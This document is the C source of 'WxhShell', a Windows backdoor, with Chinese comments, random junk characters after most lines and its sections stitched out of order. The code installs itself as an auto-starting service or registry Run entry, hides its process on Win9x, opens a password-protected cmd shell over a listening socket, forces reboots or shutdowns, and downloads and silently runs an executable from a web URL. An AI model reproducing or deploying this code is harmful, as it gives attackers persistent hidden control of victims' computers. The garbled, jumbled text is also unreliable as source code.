    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S@Rd>4  
    else { 0QT:@v2R  
    closesocket(wsh); Fuzb4Df  
    ExitThread(0); ALy7D*Z]w  
    } /`l;u 7RD  
    break; }W'4(V;:  
    } ,<* I5:  
  // 获取shell ^86M 94k  
  case 's': { f9 \$,7F  
    CmdShell(wsh); YrJUs]A  
    closesocket(wsh); !:m.-TE  
    ExitThread(0); aG83@ABx  
    break; "a= Hr4C*r  
  } "p*'HQ  
  // 退出 I/XSW#  
  case 'x': { p20JU zy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Scx!h.\5  
    CloseIt(wsh); 1*yxSU@uY  
    break; e6>G8d  
    } e`S\-t?Z  
  // 离开 v2E<~/|  
  case 'q': { -iS^VzI|I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /IG{j}  
    closesocket(wsh); ROmmak(y8  
    WSACleanup(); -2; 6Pwmv  
    exit(1); 6^WNwe\  
    break; 4~&3.1  
        } vUVFW'-  
  } y^,QM[&  
  } x};~8lGT>t  
4"k&9+>  
  // 提示信息 ~f(5l.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IJ&Lk=2E]  
} W-l+%T!  
  } xa@$cxt  
X!qK[b@Z  
  return; o0]YDX@T  
} nj'5iiV`]  
5XUm}D$  
// shell模块句柄 Ga5*tWj  
int CmdShell(SOCKET sock) :Y\ ~[Y  
{ **L&I5Hhm  
STARTUPINFO si; p X{wEc6}  
ZeroMemory(&si,sizeof(si)); 1,%`vlYv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F5qA!jZ1]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q{|%kU"  
PROCESS_INFORMATION ProcessInfo; yAryw{(  
char cmdline[]="cmd"; HoABo:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?UAuUFueA  
  return 0; {KNaJ/:>W  
} J<;io!  
XZb=;tYo  
// 自身启动模式 U?sHh2*  
int StartFromService(void) Tj#S')s8  
{ < j:\;mi;  
typedef struct 12z!{k7N  
{ Ik$$Tn&;  
  DWORD ExitStatus; le\-h'D  
  DWORD PebBaseAddress; *,4rYb7I w  
  DWORD AffinityMask; $G`CXhbl  
  DWORD BasePriority; V ml 6\X  
  ULONG UniqueProcessId; wn5OgXxG<  
  ULONG InheritedFromUniqueProcessId; "D _r</b  
}   PROCESS_BASIC_INFORMATION; =^rt?F4  
K2zln_W  
PROCNTQSIP NtQueryInformationProcess; ywAvqT,  
dGYR  'x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KU,SAcfR7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c$ !?4z_.  
Qc3d<{7\~  
  HANDLE             hProcess; 7K\v=  
  PROCESS_BASIC_INFORMATION pbi; bRxI7 '  
C '( Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PGJh>[ s  
  if(NULL == hInst ) return 0; 0[l}@K?  
S-S%IdL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C P}fxDW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A7Ql%$v7^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ICN>kJ\;M  
P+o"]/7U  
  if (!NtQueryInformationProcess) return 0; G0UaE1n  
{P8d^=#q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j~k,d.17M  
  if(!hProcess) return 0; /e0B$UymFu  
dn#I,xa`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #{}?=/nJ~-  
(<eLj Q  
  CloseHandle(hProcess); N l@G\_  
;_I>`h"r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]&%KU)i?  
if(hProcess==NULL) return 0; {Nl?  
[t?tLUg|6  
HMODULE hMod; o'#& =h$_  
char procName[255]; S&` 6pN  
unsigned long cbNeeded; 6kH6"  
jg710.v:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tTy!o=  
w 0_P9g:  
  CloseHandle(hProcess); V1]GOmXz  
r >'tE7W9  
if(strstr(procName,"services")) return 1; // 以服务启动 o}v<~v(  
~#sD2b` 0  
  return 0; // 注册表启动 U3{<+vSR`  
} Z< i }XCE  
v0\l~_|H  
// 主模块 l<+ [l$0#  
int StartWxhshell(LPSTR lpCmdLine) 1%+-}yo<  
{ qS vV |G  
  SOCKET wsl; :hZM$4  
BOOL val=TRUE; ]o<]A[<  
  int port=0; Kz"3ba}KH  
  struct sockaddr_in door; mKZzSd)p  
eTa_RO,x  
  if(wscfg.ws_autoins) Install(); ,ErfTg&^  
y|6n:<o  
port=atoi(lpCmdLine); .G[/4h :.  
G ?$ @6  
if(port<=0) port=wscfg.ws_port; Ab@ G^SLX  
NfvPE]S  
  WSADATA data; !q2zuxq!R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =x8[%+  
61S;M8tNv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y"mFUW4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Keh=>K)T  
  door.sin_family = AF_INET; >5 -1?vi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G4@r_VP\  
  door.sin_port = htons(port); k`:zQd^T  
..} P$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y!=,u  
closesocket(wsl); qPQIcJ  
return 1; lp *GJP]T  
} |8k1Bap`z  
Kv| x -_7  
  if(listen(wsl,2) == INVALID_SOCKET) { 0SI@`C*1o  
closesocket(wsl); L BbST!  
return 1; G,)zn9X  
} ai_ve[A  
  Wxhshell(wsl); o]<Z3)  
  WSACleanup(); A<+Dx  
i(j/C  
return 0; V'i-pn2gyu  
'#+&?6p  
} 0vv~G\yM  
l8oaDL\f  
// 以NT服务方式启动 [Z$H <m{c-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B7 s{yb  
{ WQ9e~D"  
DWORD   status = 0; Y*NzY*V\  
  DWORD   specificError = 0xfffffff; VE+H! ob A  
e$~[\ w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <8:h%%$?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <F7a!$zQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ' h7Faj  
  serviceStatus.dwWin32ExitCode     = 0; QF>T)1&J[7  
  serviceStatus.dwServiceSpecificExitCode = 0; 8qyEHUN2q  
  serviceStatus.dwCheckPoint       = 0; UMGiJO\yH  
  serviceStatus.dwWaitHint       = 0; 7zG r+Px  
$r!CQ 2S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gA2Wo+\^bq  
  if (hServiceStatusHandle==0) return; T`x|=}  
{srP3ll P  
status = GetLastError(); JXc.?{LL  
  if (status!=NO_ERROR) (GC]=  
{ UY(T>4H+h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;xwcK-A  
    serviceStatus.dwCheckPoint       = 0; $XF$ n#ua  
    serviceStatus.dwWaitHint       = 0; PT~htG<Fw  
    serviceStatus.dwWin32ExitCode     = status; 2o SM|  
    serviceStatus.dwServiceSpecificExitCode = specificError; /7UvV60  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iXMJ1\!q\|  
    return; ;XN|dq  
  } K7RAmX  
gQeQy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8<L{\$3HP|  
  serviceStatus.dwCheckPoint       = 0; 4m0^ N  
  serviceStatus.dwWaitHint       = 0; +hN>Q $E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c~ R'`Q  
} Xd(^7~i  
RDdnOzx  
// 处理NT服务事件,比如:启动、停止 Ev7.!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,\M77V  
{ Y ^+x<  
switch(fdwControl) U,#~9  
{ ]X6<yzu&+l  
case SERVICE_CONTROL_STOP: p\&O;48=  
  serviceStatus.dwWin32ExitCode = 0; D4L&6[W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %,T*[d&i  
  serviceStatus.dwCheckPoint   = 0; ;iKLf~a a  
  serviceStatus.dwWaitHint     = 0; p{w-  
  { x%EGxs;>^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :r*hY$v  
  } Fl`U{03  
  return; %YR&>j k  
case SERVICE_CONTROL_PAUSE: GLf!i1Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r9ulTv}X  
  break; Dj\nsc@e3  
case SERVICE_CONTROL_CONTINUE: h.EI(Ev"GN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H,(vTthd  
  break; #~ x7G  
case SERVICE_CONTROL_INTERROGATE: gC1LQ!:;Oi  
  break; k6b ct@7  
}; >$D!mraih  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~q ^o|?  
} OFtaOjsyUa  
jqaX|)8|$  
// 标准应用程序主函数 U`(=iyWP=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "6jt$-?  
{ QY;(Ny/(y  
t{>K).'  
// 获取操作系统版本 cfIC(d  
OsIsNt=GetOsVer(); ;I4vPh5Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e8vy29\S  
KuP#i]Na  
  // 从命令行安装 \GL] I.  
  if(strpbrk(lpCmdLine,"iI")) Install(); Jpapl%7v  
(h0@;@@7hW  
  // 下载执行文件 Hhknjx  
if(wscfg.ws_downexe) { A)U"F&tvm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v5M4Rs&t  
  WinExec(wscfg.ws_filenam,SW_HIDE); h*fN]k6  
} M/W"M9u  
o|@0.H|  
if(!OsIsNt) { =o 9s?vOJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 s;vt2>;q+e  
HideProc(); Ih.+-!w  
StartWxhshell(lpCmdLine); ^77W#{Zs  
} VEgtN}  
else ,8 4|qI  
  if(StartFromService()) n[jXqFm!`  
  // 以服务方式启动 Q4cCg7|0  
  StartServiceCtrlDispatcher(DispatchTable); MqZ"Js  
else e}uK"dl(  
  // 普通方式启动 @AZNF+ \W$  
  StartWxhshell(lpCmdLine); ,iyy2  
!,`'VQw$  
return 0; I/(U0`%  
} uz!8=,DFw  
({E,}x  
u !BU^@P  
}k }=e  
===========================================  nYx /q  
o ]*yI[\  
x {NBhq(4  
G J%^hr`P  
E*YmHJ:k  
B=cA$620  
" Ic0Sb7c  
in1rDN%Vi  
#include <stdio.h> D)-LZbPa  
#include <string.h> Jt[ug26  
#include <windows.h> |?88EG@05  
#include <winsock2.h> 4;YP\{u  
#include <winsvc.h> QGpj$ _b  
#include <urlmon.h> N?qETp-:  
_x.2&S89  
#pragma comment (lib, "Ws2_32.lib") .+9*5  
#pragma comment (lib, "urlmon.lib") M`&t=0D  
ZN}`A7  
#define MAX_USER   100 // 最大客户端连接数 l!,tssQ  
#define BUF_SOCK   200 // sock buffer +v B}E  
#define KEY_BUFF   255 // 输入 buffer 2'fd4 rE5  
O!"K'Bm  
#define REBOOT     0   // 重启  :tZsSK  
#define SHUTDOWN   1   // 关机 d#T5=5 #  
J,W $\V]p  
#define DEF_PORT   5000 // 监听端口 $ +WXM$N  
^&<M""Z  
#define REG_LEN     16   // 注册表键长度 s&E,$|80  
#define SVC_LEN     80   // NT服务名长度 }uIQ@f`  
?2"g*Bak  
// 从dll定义API je mb/ :E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5ngs1ZF@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .eN"s'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #m U\8M,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AW r2Bv  
|5vJ:'`I  
// wxhshell配置信息 hrKeOwKHU  
struct WSCFG { _#K|g#p5  
  int ws_port;         // 监听端口 }n&nuaj  
  char ws_passstr[REG_LEN]; // 口令 "bej#'M#  
  int ws_autoins;       // 安装标记, 1=yes 0=no +<\LY(o  
  char ws_regname[REG_LEN]; // 注册表键名 I%.nPOQ 8  
  char ws_svcname[REG_LEN]; // 服务名 "_UnN}Uk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j/TnKO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 51ViJdZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j& 7>ph  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;!HQ!#B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }Q`+hJ0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [x)T2sA  
nq_$!aB_K  
}; 9fX0?POG  
ZRjM^ d;  
// default Wxhshell configuration +k6` tl~*  
struct WSCFG wscfg={DEF_PORT,  C O6}D  
    "xuhuanlingzhe", 4S42h_9  
    1, $'\kK,=  
    "Wxhshell", 3rRIrrYO  
    "Wxhshell", P.Tnq  
            "WxhShell Service", e;vI XJE  
    "Wrsky Windows CmdShell Service", ]pm/5|  
    "Please Input Your Password: ", uYebRCdR  
  1, boiP_*|MY  
  "http://www.wrsky.com/wxhshell.exe", 4(htdn6\  
  "Wxhshell.exe" T}!9T!(HdF  
    }; H {=]94  
q&:7R .Ci  
// 消息定义模块 4Y?fbb<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &~eCDlX /  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [lIX&!T"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )y] Dmm  
char *msg_ws_ext="\n\rExit."; _!2lnJ4+5  
char *msg_ws_end="\n\rQuit."; |4DN2P  
char *msg_ws_boot="\n\rReboot..."; pS8\B  
char *msg_ws_poff="\n\rShutdown..."; E#P#{_BR^  
char *msg_ws_down="\n\rSave to "; ;C-ds  
}h1BAKg  
char *msg_ws_err="\n\rErr!"; {eU>E /SQ  
char *msg_ws_ok="\n\rOK!"; |~A*?6:@  
`n6cpX5  
char ExeFile[MAX_PATH]; Y9mhDznS  
int nUser = 0; Gw) y<h  
HANDLE handles[MAX_USER]; ^X_ ;ZLg.  
int OsIsNt; OX.5o lb  
kVLZdXn,q2  
SERVICE_STATUS       serviceStatus; | K|AUI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e_!h>=$%8  
Jm , :6T  
// 函数声明 OR&pGoW  
int Install(void); 9L7z<ntn  
int Uninstall(void); X(Af`KOg[  
int DownloadFile(char *sURL, SOCKET wsh); 6Zpa[,gm  
int Boot(int flag); ot7f?tF2<J  
void HideProc(void); G9x l-ag+z  
int GetOsVer(void); iAe"oXK|  
int Wxhshell(SOCKET wsl); "`K_5"F  
void TalkWithClient(void *cs); #reR<qp&]  
int CmdShell(SOCKET sock); n$ByTmKxv  
int StartFromService(void); 12i`82>;  
int StartWxhshell(LPSTR lpCmdLine); r7VBz_Q  
Jb{g{a/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); * 0K]/tn<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9V)cf  
)*%uG{h  
// 数据结构和表定义 Sy?^+JdM/  
SERVICE_TABLE_ENTRY DispatchTable[] = trwo(p  
{ c2V_|oL  
{wscfg.ws_svcname, NTServiceMain}, )Fd)YJVR  
{NULL, NULL} ]pNM~,  
}; oBmv^=cH  
yVzV]&k  
// 自我安装 &H+ wzx<  
int Install(void) I!F&8B+|  
{ _&(Wz0  
  char svExeFile[MAX_PATH]; 8r}tf3xMCM  
  HKEY key; %^W(sB$b  
  strcpy(svExeFile,ExeFile); ^XyC[ G@[  
&7kLSb&|;  
// 如果是win9x系统,修改注册表设为自启动 L]=mQo  
if(!OsIsNt) { s j-oaWt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =WN8> <K!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $o9^b Z  
  RegCloseKey(key); oTk\r$4eb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f`vWCb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vy [7I8f{  
  RegCloseKey(key); c-zW 2;|61  
  return 0; jB -A d8  
    } D7R;IA-w  
  } 0<A*I{,4L  
} fC"? r6d  
else { <> HI(6\@Z  
D0\*WK$  
// 如果是NT以上系统,安装为系统服务 %>nAPO+e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F6{ O  
if (schSCManager!=0) _0[s]  
{ QBmARQ  
  SC_HANDLE schService = CreateService kK/>,Eg  
  ( q8_E_s-U,  
  schSCManager, p8]XNe  
  wscfg.ws_svcname, W;Dik%^tg  
  wscfg.ws_svcdisp, NWwKp?  
  SERVICE_ALL_ACCESS, ^Gbcs l~Gj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9XUYy2{G  
  SERVICE_AUTO_START, Fbotn(\h@  
  SERVICE_ERROR_NORMAL, rU>l(O'b  
  svExeFile, _ y'g11 \  
  NULL, ;|=5)KE  
  NULL, O&CY9 2)Lk  
  NULL, &iuMB0rbu  
  NULL, Yk{4 3yw  
  NULL r"L:Mu  
  ); ER`;0#3[9u  
  if (schService!=0) H(?+-72KX  
  { B*`[8kb,  
  CloseServiceHandle(schService); DbI)tDi5D  
  CloseServiceHandle(schSCManager); =f=>buD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {JQV~rfh`  
  strcat(svExeFile,wscfg.ws_svcname); m,5m'9 dj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { abVEi[nP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X.e4pLwGK  
  RegCloseKey(key); abe5 As r  
  return 0; ME*zMLoF+  
    } Ng&K5Z/  
  } d<] eJ{  
  CloseServiceHandle(schSCManager); s7`2ky()kz  
} zcV~)go6  
} *wdNZ  
EwfL.z  
return 1; w$qdV,s 7  
} J"eE9FLM  
RXO}mu]Iu  
// 自我卸载 NljcHe}Qy  
int Uninstall(void) !{r@ H+Kf  
{ 'cN3Vv k  
  HKEY key; Rs]Y/9F;{  
1b7Q-elG  
if(!OsIsNt) { 06af{FXsGb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G`v(4`tA  
  RegDeleteValue(key,wscfg.ws_regname); uMFV^&ZF  
  RegCloseKey(key); 9j5k=IXg#a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y>i Qp/k:  
  RegDeleteValue(key,wscfg.ws_regname); %B>>J%  
  RegCloseKey(key); #3C] "  
  return 0; /GP:W6:6z6  
  } LqQ&4I  
} V'N]u (^  
} \ 0F ey9c  
else { gE&83i"  
1A7(s0J8 :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !&G& ~*.x  
if (schSCManager!=0) %Bnn\{Az  
{ 0#sf,ja>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DS< E:'N  
  if (schService!=0) x1+V  
  { jJkc vC8d  
  if(DeleteService(schService)!=0) { B%co`0$  
  CloseServiceHandle(schService); r+k~%5Ff~  
  CloseServiceHandle(schSCManager); qaBL  
  return 0; ,Igd<A=  
  } z}$!B.)  
  CloseServiceHandle(schService); 4n\O6$&.x  
  } 8(@(G_skp  
  CloseServiceHandle(schSCManager); cS|W&IH1  
} %&$s0=+  
} p^QppM94  
:N=S nyz  
return 1; I!p[:.t7  
} U7xQ 5lph  
3r2e_?m  
// 从指定url下载文件 F`f8q\Fc  
int DownloadFile(char *sURL, SOCKET wsh) rV/! VJ6x  
{ %\ !3tN  
  HRESULT hr; V*+Z=Y'  
char seps[]= "/"; IDt7KJ@hc  
char *token; @ ojV8  
char *file; u$V@akk  
char myURL[MAX_PATH]; mk`#\=GE  
char myFILE[MAX_PATH]; UTxqqcqEny  
,h9N,bIQg  
strcpy(myURL,sURL); )O6_9f_  
  token=strtok(myURL,seps); eBl B0P  
  while(token!=NULL) <`=(Ui$fD  
  { O&PrO+&  
    file=token; jW.IkG[|  
  token=strtok(NULL,seps); "&TN}SBW  
  } wn>?r ?KIB  
lDtl6r/  
GetCurrentDirectory(MAX_PATH,myFILE); Ix+\oq,O  
strcat(myFILE, "\\"); >f~y2YAr  
strcat(myFILE, file); c ^+{YH;k  
  send(wsh,myFILE,strlen(myFILE),0); ^s3SzB@  
send(wsh,"...",3,0); |("zW7g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :8Ql (I  
  if(hr==S_OK) I#:4H2H6  
return 0; Z'\{hL S  
else `< cn  
return 1; iFB {a?BE  
iy,jq5uw  
} v?#W/].C+  
tq8rG@-C  
// 系统电源模块 I(0 *cWO  
int Boot(int flag) a*UxRi8  
{ !L55S 0 3  
  HANDLE hToken; )tR@\G>%  
  TOKEN_PRIVILEGES tkp; sy+tLDMd  
%1PNP<3r0  
  if(OsIsNt) { :J;*]o:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {$qLMx';  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GPU,.s"&(  
    tkp.PrivilegeCount = 1; R(cM4T.a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MN. $a9m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r| 0wIpi6Q  
if(flag==REBOOT) { F */J`l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =bl6:  
  return 0; &6#Ft]6~  
} 5>"X?U}He  
else { L 3^+`e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i|OG#PsY-  
  return 0; ~_hn{Ou s  
} (GDW9:  
  } YhFd0A?]  
  else { 0%GQXiy  
if(flag==REBOOT) { f-l(H="e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }*M>gvPo  
  return 0; x`gsD3C  
} 4^AdSuV  
else { Qj',&b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .l ufE  
  return 0; jun$C Y4  
} 5"I8ric  
} /.%AE|0+X  
tU >?j1  
return 1; H.]rH,8  
} ,e5#wz  
! p|d[  
// win9x进程隐藏模块 md`"zV  
void HideProc(void) gKWsmx!["  
{ :PF6xL&  
0l>4Umxr{J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -k"5GUc|  
  if ( hKernel != NULL ) >]S-a-|Bp  
  { _ -C{:rV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jde@T h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E)utrO R  
    FreeLibrary(hKernel); a+ lGN  
  } _h8|shyP  
%cFqD &6  
return; O7D61~G]  
} ;dE'# Kb  
gj-MkeI)  
// 获取操作系统版本 Dt\rMSjZ9  
int GetOsVer(void) GYK&QYi,  
{ ^OnZ9?C{R  
  OSVERSIONINFO winfo; byetbt(IF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ym5ji$!2  
  GetVersionEx(&winfo); cfA)Ui  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]B3\IT  
  return 1; E\dJb}"x %  
  else /#xx,?~xx0  
  return 0; G[M{TS3&Ds  
} 2 rx``,7Q  
1/% g VB8  
// 客户端句柄模块 `c%{M4bF\  
int Wxhshell(SOCKET wsl) x|`o7.  
{ xN=:*#Z"pb  
  SOCKET wsh; Emx`+9  
  struct sockaddr_in client; KBkS>0;X  
  DWORD myID; Cqc5jx0)  
>,)tRQS  
  while(nUser<MAX_USER) N=@Nn)  
{ 97SOa.@  
  int nSize=sizeof(client); R8![ $mkU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q/<?v!h{  
  if(wsh==INVALID_SOCKET) return 1; XpU%09K  
#Qnl,lf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  {;| >Qn  
if(handles[nUser]==0) )=@ SA`J  
  closesocket(wsh); S1D=' k]  
else 65||]l  
  nUser++; rf]'V Jg#3  
  } ?A`8c R=)I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yITL;dBy  
U9eb&nd  
  return 0; aokV'6  
} &yN/ AY`U  
CFyu9Al  
// 关闭 socket akB+4?+s)  
void CloseIt(SOCKET wsh) WG=~GDS>  
{ Vp j[)W%L  
closesocket(wsh); <Gkmk?x`A  
nUser--; z)&ZoSXWc  
ExitThread(0); tEE4"OAy  
} G~N$bF^R)  
!au%D?w  
// 客户端请求句柄 N497"H</  
void TalkWithClient(void *cs) I` +%ab  
{ qGrUS_~q*  
s%l`XW;v  
  SOCKET wsh=(SOCKET)cs; 5`H.{4@  
  char pwd[SVC_LEN]; !H/5Ud9  
  char cmd[KEY_BUFF]; E[2>je  
char chr[1]; 5w$\x+no  
int i,j; 0` \!O(jJ  
[) S&PK  
  while (nUser < MAX_USER) { MWZH-aA(.  
y|(C L^(  
if(wscfg.ws_passstr) { FhVoN}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w9Z,3J6r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5w#7B  
  //ZeroMemory(pwd,KEY_BUFF); T(2*P5%&  
      i=0; W_%@nm\y  
  while(i<SVC_LEN) { CPt62j8  
1b4/  
  // 设置超时 #9FY;~  
  fd_set FdRead; NUp,In_  
  struct timeval TimeOut; 0AWOdd>.  
  FD_ZERO(&FdRead); rIJv(&l  
  FD_SET(wsh,&FdRead); wi$,Y. :  
  TimeOut.tv_sec=8; ^DH*\ee  
  TimeOut.tv_usec=0; t+<?$I[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fNnX{Wq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @=G6fW:  
GZCXm+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0V[`zOO(o  
  pwd=chr[0]; #$;i 4a  
  if(chr[0]==0xd || chr[0]==0xa) { Y `ySNC  
  pwd=0; E@%9u#  
  break; Tw+V$:$$  
  } nXFPoR)T  
  i++; R7Z7o4jg  
    } "B3&v%b  
\~~y1.,U.  
  // 如果是非法用户,关闭 socket i}E&mv'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +fRABY5C  
} Wi%e9r{hU  
+\/1V`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wt 1]9{$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |(77ao3  
Iq["(!7E5  
while(1) { Ka+N5 T.f  
[B+]F~}@  
  ZeroMemory(cmd,KEY_BUFF); eb#p-=^KP  
]**h`9MF  
      // 自动支持客户端 telnet标准   yh:Wg$qx  
  j=0; SQ0?M\D7  
  while(j<KEY_BUFF) { vn(ji=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }Md5a%s<  
  cmd[j]=chr[0]; fs,]%g^  
  if(chr[0]==0xa || chr[0]==0xd) { o<Y[GW1pg  
  cmd[j]=0; :HW\awv  
  break; PPMAj@B}V  
  } Wkj0z ]]?  
  j++; &8xwR   
    }  3<R8_p  
lGZf_X)gA^  
  // 下载文件 XSoHh-  
  if(strstr(cmd,"http://")) { 4Mck/i2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t$zeB OI)  
  if(DownloadFile(cmd,wsh)) N.D7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^<OcbOn;O  
  else .4O~a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VV$4NV&`Q  
  } Xdl7'~k  
  else { ?4%@"49n X  
u0{R;)  
